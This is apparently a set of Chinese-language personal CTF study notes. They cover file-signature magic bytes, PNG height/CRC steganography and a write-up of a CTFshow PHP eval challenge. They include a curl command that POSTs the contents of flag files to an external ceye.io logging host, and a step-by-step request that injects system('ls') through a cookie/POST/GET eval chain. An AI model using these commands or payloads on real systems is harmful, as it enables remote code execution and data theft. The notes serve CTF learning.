损坏的压缩包
基础知识
常见文件文件头文件尾 https://devtool.tech/filetype
1、图片**
- JPEG 文件头:
FF D8 FF文件尾:FF D9 - TGA 未压缩的前4字节
00 00 02 00RLE压缩的前5字节00 00 10 00 00 - PNG 文件头:
89 50 4E 47 0D 0A 1A 0A文件尾:AE 42 60 82 - GIF 文件头:
47 49 46 38 39(37) 61文件尾:00 3B - BMP 文件头:
42 4D文件头标识(2 bytes) 42(B) 4D(M) - TIFF (tif) 文件头:
49 49 2A 00 - ico 文件头:
00 00 01 00 - Adobe Photoshop (psd) 文件头:
38 42 50 53
2、office文件
- MS Word/Excel (xls.or.doc) 文件头:
D0 CF 11 E0 - MS Access (mdb) 文件头:
53 74 61 6E 64 61 72 64 20 4A - WordPerfect (wpd) 文件头:
FF 57 50 43 - Adobe Acrobat (pdf) 文件头:
25 50 44 46 2D 31 2E - application/vnd.visio(vsd) 文件头:
D0 CF 11 E0 A1 B1 1A E1 - Email [thorough only] (eml) 文件头:
44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A - Outlook Express (dbx) 文件头:
CF AD 12 FE C5 FD 74 6F - Outlook (pst) 文件头:
21 42 44 4E - Rich Text Format (rtf) 文件头:
7B 5C 72 74 66 - txt 文件(txt) 文件头:Unicode:
FE FF/ Unicode big endian:FF FE/ UTF-8:EF BB BF/ANSI编码是没有文件头的
3、压缩包文件
- ZIP Archive (zip) 文件头:
50 4B 03 04文件尾:50 4B - RAR Archive (rar) 文件头:
52 61 72 21
4、音频文件
- Wave (wav) 文件头:
57 41 56 45 - audio(Audio) 文件头:
4D 54 68 64 - audio/x-aac(aac)
- 文件头:
FF F1(9)
5、视频文件
- AVI (avi) 文件头:
41 56 49 20 - Real Audio (ram) 文件头:
2E 72 61 FD - Real Media (rm) 文件头:
2E 52 4D 46 - MPEG (mpg) 文件头:
00 00 01 BA(3) - Quicktime (mov) 文件头:
6D 6F 6F 76 - Windows Media (asf) 文件头:
30 26 B2 75 8E 66 CF 11 - MIDI (mid) 文件头:
4D 54 68 64 - RIFF()文件头:
52 49 46 46
6、代码文件
- XML (xml) 文件头:
3C 3F 78 6D 6C - HTML (html) 文件头:
68 74 6D 6C 3E - Quicken (qdf) 文件头:
AC 9E BD 8F - Windows Password (pwl) 文件头:
E3 82 85 96
7、其他类型
- windows证书文件(der) 文件头:
30 82 03 C9 - CAD (dwg) 文件头:
41 43 31 30 - Windows Shortcut (lnk) 文件头:
4C 00 00 00 - Windows reg(reg) 文件头:
52 45 47 45 44 49 54 34
你会异或吗
脚本目录: D:\PythonProjects\xor_image.py
flag一分为二
基础知识
先分析 png 的文件格式,用 16 进制编辑器 010editor 打开一张正常的 png 图片,逐字节分析如下:
![[CTF隐写]png中CRC检验错误的分析](https://www.mondayice.com/wp-content/uploads/2019/12/frc-6305ef095ea113627fc03ee7fb0829f1.jpg)
前八个字节 89 50 4E 47 0D 0A 1A 0A 为 png 的文件头,该段格式是固定的
![[CTF隐写]png中CRC检验错误的分析](https://www.mondayice.com/wp-content/uploads/2019/12/frc-d8db6db91947c6c839516f018d2efc55.jpg)
上图中高亮部分称为为 chunk [0] 段,可以分为以下几块:
前四个字节 00 00 00 0D(即为十进制的 13)代表数据块的长度为 13,数据块包含了 png 图片的宽高等信息,该段格式是固定的
之后的四个字节 49 48 44 52(即为 ASCII 码的 IHDR)是文件头数据块的标示,该段格式也是固定的
之后进入 13 位数据块,前 8 个字节 00 00 05 56 00 00 03 00中:
前四个字节 00 00 05 56(即为十进制的 1366),代表该图片的宽,该段数据是由图片的实际宽决定的
后四个字节00 00 03 00(即为十进制的 768),代表该图片的高,该段数据是由图片的实际高度决定的
这 8 个字节都属于 13 位数据块的内容,因此数据块应再向后数 5 个字节,即为 00 00 05 56 00 00 03 00 08 02 00 00 00
剩余的 4 位 40 5C AB 95 为该 png 的 CRC 检验码,也就是本篇文章要重点讨论的地方,该段数据是由 IDCH 以及十三位数据块(即上文中的 49 48 44 52 00 00 05 56 00 00 03 00 08 02 00 00 00)计算得到的
chunk中数据块的长度(4字节)+IHDR固定标识(4字节)+数据块(长度前面指定,包括图片的宽度和高度)+CRC校验码(4字节)
有了之上的基础知识,再来看大部分 png 中 CRC 检验错误的出题思路:
对一张正常的图片,通过修改其宽度或者高度隐藏信息,使计算出的 CRC 校验码与原图的 CRC 校验码不一致;windows 的图片查看器会忽略错误的 CRC 校验码,因此会显示图片,但此时的图片已经是修改过的,所以会有显示不全或扭曲等情况,借此可以隐藏信息。
而 Linux 下的图片查看器不会忽略错误的 CRC 校验码,因此用 Linux 打开修改过宽或高的 png 图片时,会出现打不开的情况
图片隐写解体方法参考资料:
https://www.mondayice.com/2019/12/24/ctf隐写png中crc检验错误的分析/
https://blog.csdn.net/qiqn0721/article/details/147400663
https://www.cnblogs.com/handsomesnowsword/p/18302560
反弹shell构造
curl 7cux0p.ceye.io -X POST -d "1=cat f*;cat /f*"
web签到
https://www.cnblogs.com/Guanz/p/17909953.html#1---web签到
<?php
// 注释信息error_reporting(0); // 关闭错误报告
highlight_file(__FILE__); // 当前文件高亮显示// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
选择“操作-更改请求方法”,将 get 请求更改为 post 请求:

- 向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行
Cookie: CTFshow-QQ%E7%BE%A4%3A=a,这一步将 a 作为 cookie 传入“CTFshow-QQ群:”。其中CTFshow-QQ%E7%BE%A4%3A是 “CTFshow-QQ群:” 经 URL 编码后的值。需要注意的是 Cookie 行与前面的字段之间不能有空行,否则会被看作 post 请求的参数传入。 - _POST 函数收到 _COOKIE 传入的 a 后,将 a 作为变量名接收 post 请求的传参,因此在数据包最后插入一行
a=b作为 post 请求的参数,这一步将 b 作为参数传入 a。同理,传入的参数需要与前面的字段间留有空行。 - _GET 函数收到 _POST 函数传入的 b 后,将 b 作为变量名接收 get 请求的传参,因此在数据包首行
POST /后插入?b=c作为 get 请求的参数,这一步将 c 作为参数传入 b。 - _REQUEST 函数收到 __GET 函数传入的 c 后,将 c 作为变量名接收 get 或 post 请求的传参,这里我们通过 post 请求传参。在第 2 步插入的
a=b后加入&c[6][0][7][5][8][0][9][4][4]=system('ls'); - eval 函数接收到
system('ls');后将字符串按 php 代码执行,对当前目录进行查询。
开始↓
$_COOKIE['CTFshow-QQ群:'] → 值A↓
$_POST['A'] → 值B ↓
$_GET['B'] → 值C↓
$_REQUEST['C'] → 数组$arr↓
$arr[6][0][7][5][8][0][9][4][4] → 代码字符串↓
eval(代码字符串)↓
结束
![[CTF隐写]png中CRC检验错误的分析](https://www.mondayice.com/wp-content/uploads/2019/12/frc-d52ae1f39c4c32233abbcda746d42071.jpg)